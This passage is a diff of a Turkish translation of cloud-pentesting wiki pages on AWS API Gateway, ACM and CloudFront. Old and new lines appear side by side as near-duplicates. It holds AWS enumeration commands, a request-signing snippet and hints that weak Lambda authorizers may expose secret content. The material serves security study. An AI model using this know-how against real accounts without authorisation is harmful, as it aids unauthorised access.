4. **Kaynak Politikası**: API Gateway'deki bir kaynak politikası, **API'nize erişim için izinleri tanımlayan** bir JSON belgesidir. IAM politikasına benzer, ancak özellikle API Gateway için özelleştirilmiştir. Bir kaynak politikasını, API'nize kimin erişebileceğini, hangi yöntemleri çağırabileceklerini ve hangi IP adreslerinden veya VPC'lerden bağlanabileceklerini kontrol etmek için kullanabilirsiniz. **Kaynak politikaları, API'niz için ince ayar erişim kontrolü sağlamak üzere yetkilendiricilerle birleştirilebilir**.
- Değişikliklerin etkili olması için API'nin **kaynak politikası değiştirildikten sonra tekrar dağıtılması gerekir**.
3. **Yetkilendiriciler**: API Gateway'deki yetkilendiriciler, isteğin devam etmesine izin vermeden önce çağrının kimliğini doğrulayarak **API'nize erişimi kontrol etmekten** sorumludur. Kendi kimlik doğrulama ve yetkilendirme mantığınızı uygulamanıza olanak tanıyan özel yetkilendiriciler olarak **AWS Lambda işlevlerini** kullanabilirsiniz. Bir istek geldiğinde, API Gateway isteğin yetkilendirme jetonunu Lambda yetkilendiricisine iletir; bu, jetonu işler ve çağrının hangi eylemleri gerçekleştirmesine izin verildiğini belirleyen bir IAM politikası döner. API Gateway ayrıca, **AWS Kimlik ve Erişim Yönetimi (IAM)** ve **Amazon Cognito** gibi **yerleşik yetkilendiricileri** de destekler.
4. **Kaynak Politikası**: API Gateway'deki bir kaynak politikası, **API'nize erişim için izinleri tanımlayan** bir JSON belgesidir. IAM politikasına benzer, ancak özellikle API Gateway için özelleştirilmiştir. Bir kaynak politikasını, API'nize kimin erişebileceğini, hangi yöntemleri çağırabileceğini ve hangi IP adreslerinden veya VPC'lerden bağlanabileceğini kontrol etmek için kullanabilirsiniz. **Kaynak politikaları, API'niz için ince ayar erişim kontrolü sağlamak üzere yetkilendiricilerle birleştirilebilir**.
- Değişikliklerin etkili olabilmesi için API'nin **kaynak politikası değiştirildikten sonra tekrar dağıtılması gerekir**.
### Günlükleme
Varsayılan olarak, **CloudWatch Günlükleri** **kapalıdır**, **Erişim Günlüğü** **kapalıdır** ve **X-Ray izleme** de **kapalıdır**.
Varsayılan olarak, **CloudWatch Logs** **kapalıdır**, **Erişim Günlüğü** **kapalıdır** ve **X-Ray izleme** de **kapalıdır**.
### Sayım
> [!TIP]
> Hem AWS API'lerinde kaynakları saymak için (**`apigateway`** ve **`apigatewayv2`**) tek ihtiyacınız olan izin ve verilebilecek tek okuma izni **`apigateway:GET`**'dir, bununla **her şeyi sayabilirsiniz.**
> Hem **`apigateway`** hem de **`apigatewayv2`** AWS API'lerinde kaynakları saymak için tek ihtiyacınız olan izin ve verilebilecek tek okuma izni **`apigateway:GET`**'dir; bununla **her şeyi sayabilirsiniz.**
{{#tabs }}
{{#tab name="apigateway" }}
@@ -129,7 +129,7 @@ https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/<resource>
### Kaynak Politikası
API uç noktalarını kimin çağırabileceğini tanımlamak için kaynak politikaları kullanmak mümkündür.\
Aşağıdaki örnekte **belirtilen IP'nin** `/resource_policy` uç noktasını GET ile çağırmasının mümkün olmadığı görülmektedir.
Aşağıdaki örnekte, **belirtilen IP'nin** `/resource_policy` uç noktasını GET ile çağırmasının mümkün olmadığı görülmektedir.
<figure><img src="../../../images/image (256).png" alt=""><figcaption></figcaption></figure>
@@ -149,7 +149,7 @@ Başka bir yol, **Postman** içinde **`Authorization`** türü **`AWS Signature`
<figure><img src="../../../images/image (168).png" alt=""><figcaption></figcaption></figure>
Kullanmak istediğiniz hesabın accessKey ve SecretKey'lerini ayarlayın ve API uç noktasına karşı kimlik doğrulaması yapabilirsiniz.
Kullanmak istediğiniz hesabın accessKey ve SecretKey'sini ayarlayın ve API uç noktasına karşı kimlik doğrulaması yapabilirsiniz.
Her iki yöntem de aşağıdaki gibi bir **Authorization** **header** oluşturacaktır:
```
@@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/
```
Not edin ki diğer durumlarda **Authorizer** **kötü kodlanmış** olabilir ve **Authorization header** içine **herhangi bir şey** göndermek **gizli içeriği görmeye** **izin verebilir**.
### Request Signing Using Python
### Python Kullanarak İstek İmzalama
```python
pip install requests
@@ -184,9 +184,9 @@ response = requests.get(url, auth=awsauth)
print(response.text)
```
### Özel Lambda Yetkilendirici
### Özel Lambda Yetkilendiricisi
Verilen bir token'a dayalı bir lambda kullanarak, kullanıcının **API uç noktasını çağırma yetkisine sahip olup olmadığını belirten bir IAM politikası** **döndürebilirsiniz**.\
Verilen bir token'a dayalı olarak bir lambdanın **IAM politikası döndürmesi** ve kullanıcının **API uç noktasını çağırma yetkisine sahip olup olmadığını belirtmesi** mümkündür.\
Yetkilendiriciyi kullanacak her kaynak yöntemini ayarlayabilirsiniz.
<details>
@@ -244,19 +244,19 @@ Bunu şöyle çağırabilirsiniz:
> [!WARNING]
> Lambda koduna bağlı olarak, bu yetkilendirme zayıf olabilir
Eğer bir **reddetme politikası oluşturulup döndürülürse**, API Gateway tarafından döndürülen hata şudur: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
Eğer bir **reddetme politikası oluşturulup dönerse**, API Gateway tarafından dönen hata şudur: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
Bu şekilde **bu yetkilendirmenin** mevcut olduğunu belirleyebilirsiniz.
### Gerekli API Anahtarı
API'ye erişmek için **geçerli bir API anahtarı** gerektiren API uç noktaları ayarlamak mümkündür.
API ile iletişim kurmak için **geçerli bir API anahtarı** gerektiren API uç noktaları ayarlamak mümkündür.
<figure><img src="../../../images/image (88).png" alt=""><figcaption></figcaption></figure>
API Gateway portalında API anahtarları oluşturmak ve bunların ne kadar kullanılabileceğini (saniye başına istek ve ayda istek açısından) ayarlamak mümkündür.
Bir API anahtarının çalışması için, onu bir **Kullanım Planı**'na eklemeniz gerekir, bu kullanım planı **API Aşamasına** eklenmeli ve ilişkili API aşamasının, API anahtarını gerektiren **uç noktaya** yapılandırılmış bir **metot sınırlaması** olması gerekir:
Bir API anahtarının çalışması için, onu bir **Kullanım Planı**'na eklemeniz gerekir, bu kullanım planı **API Aşaması**'na eklenmeli ve ilişkili API aşamasının, API anahtarını gerektiren **uç noktaya** yapılandırılmış bir **metot sınırlaması** olması gerekir:
<figure><img src="../../../images/image (198).png" alt=""><figcaption></figcaption></figure>

View File

@@ -8,7 +8,7 @@
ACM'nin önemli bir özelliği, **sertifikaların otomatik yenilenmesidir**, bu da yönetim yükünü önemli ölçüde azaltır. Ayrıca, ACM, **iç kullanım için özel sertifikaların oluşturulması ve merkezi yönetimini** destekler. Elastic Load Balancing, Amazon CloudFront ve Amazon API Gateway gibi entegre AWS hizmetleri için SSL/TLS sertifikaları ACM aracılığıyla ek bir ücret ödenmeden sağlansa da, kullanıcılar uygulamalarının kullandığı AWS kaynaklarıyla ilgili maliyetlerden ve entegre ACM hizmetleri dışında kullanılan her **özel Sertifika Otoritesi (CA)** ve özel sertifika için aylık bir ücretten sorumludur.
**AWS Özel Sertifika Otoritesi**, özel sertifikaların yönetimini genişleterek ACM'nin yeteneklerini artıran bir **yönetilen özel CA hizmeti** olarak sunulmaktadır. Bu özel sertifikalar, bir organizasyon içindeki kaynakların kimlik doğrulamasında önemli bir rol oynamaktadır.
**AWS Özel Sertifika Otoritesi**, özel sertifikaların yönetimini içerecek şekilde ACM'nin yeteneklerini artırarak **yönetilen özel CA hizmeti** olarak sunulmaktadır. Bu özel sertifikalar, bir organizasyon içindeki kaynakların kimlik doğrulamasında önemli bir rol oynamaktadır.
## Sayım

View File

@@ -4,7 +4,7 @@
## CloudFront
CloudFront, AWS'nin **statik ve dinamik içeriğinizin dağıtımını hızlandıran içerik dağıtım ağıdır**. Amazon CloudFront üzerinden barındırdığınız bir içerik talep ettiğinizde, talep en yakın kenar konumuna yönlendirilir ve bu da en düşük gecikme süresi ile en iyi performansı sağlar. **CloudFront erişim günlükleri** etkinleştirildiğinde, web sitenize ve dağıtımınıza erişim talep eden her kullanıcıdan gelen talepleri kaydedebilirsiniz. S3 erişim günlüklerinde olduğu gibi, bu günlükler de **kalıcı ve dayanıklı depolama için Amazon S3'te saklanır**. Günlük kaydını etkinleştirmek için herhangi bir ücret yoktur, ancak günlükler S3'te saklandığı için S3 tarafından kullanılan depolama için ücretlendirilirsiniz.
CloudFront, AWS'nin **statik ve dinamik içeriğinizin dağıtımını hızlandıran içerik dağıtım ağıdır**. Amazon CloudFront üzerinden barındırdığınız bir içerik talep ettiğinizde, talep en yakın kenar konumuna yönlendirilir ve bu, en düşük gecikmeyi sağlayarak en iyi performansı sunar. **CloudFront erişim günlükleri** etkinleştirildiğinde, web sitenize ve dağıtımınıza erişim talep eden her kullanıcıdan gelen talepleri kaydedebilirsiniz. S3 erişim günlüklerinde olduğu gibi, bu günlükler de **kalıcı ve dayanıklı depolama için Amazon S3'te saklanır**. Günlük kaydını etkinleştirmek için herhangi bir ücret yoktur, ancak günlükler S3'te saklandığı için S3 tarafından kullanılan depolama için ücretlendirilirsiniz.
Günlük dosyaları, belirli bir süre boyunca veri toplar ve Amazon CloudFront'un o dağıtım için aldığı talep sayısına bağlı olarak oluşturulan günlük dosyası sayısı değişir. Bu günlük dosyalarının S3'te oluşturulmadığını veya yazılmadığını bilmek önemlidir. S3, yalnızca günlük dosyası dolduğunda teslim edildiği yerdir. **Amazon CloudFront, bu günlükleri S3'e teslim edilene kadar saklar**. Yine, bu günlük dosyalarının boyutuna bağlı olarak bu teslimat **bir ile 24 saat arasında** sürebilir.
@@ -14,7 +14,7 @@ Günlük dosyaları, belirli bir süre boyunca veri toplar ve Amazon CloudFront'
CloudFront'ta fonksiyonlar oluşturabilirsiniz. Bu fonksiyonların **cloudfront'ta** tanımlı bir **uç noktası** olacak ve belirtilen **NodeJS kodunu** çalıştıracaktır. Bu kod, AWS yönetimindeki bir makinede çalışan bir **sandbox** içinde çalışacaktır (altındaki işletim sistemine kaçmak için bir sandbox atlatma yöntemine ihtiyacınız olacak).
Fonksiyonlar kullanıcıların AWS hesaplarında çalışmadığı için, herhangi bir IAM rolü eklenmez, bu nedenle bu özelliği kötüye kullanarak doğrudan yetki yükseltme mümkün değildir.
Fonksiyonlar kullanıcıların AWS hesabında çalışmadığı için, herhangi bir IAM rolü eklenmez, bu nedenle bu özelliği kötüye kullanarak doğrudan yetki yükseltme mümkün değildir.
### Enumeration
```bash
@@ -27,7 +27,7 @@ aws cloudfront get-function --name TestFunction function_code.js
aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME"
```
## Kimlik Doğrulama Olmadan Erişim
## Kimlik Doğrulaması Olmayan Erişim
{{#ref}}
../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md

Some files were not shown because too many files have changed in this diff Show More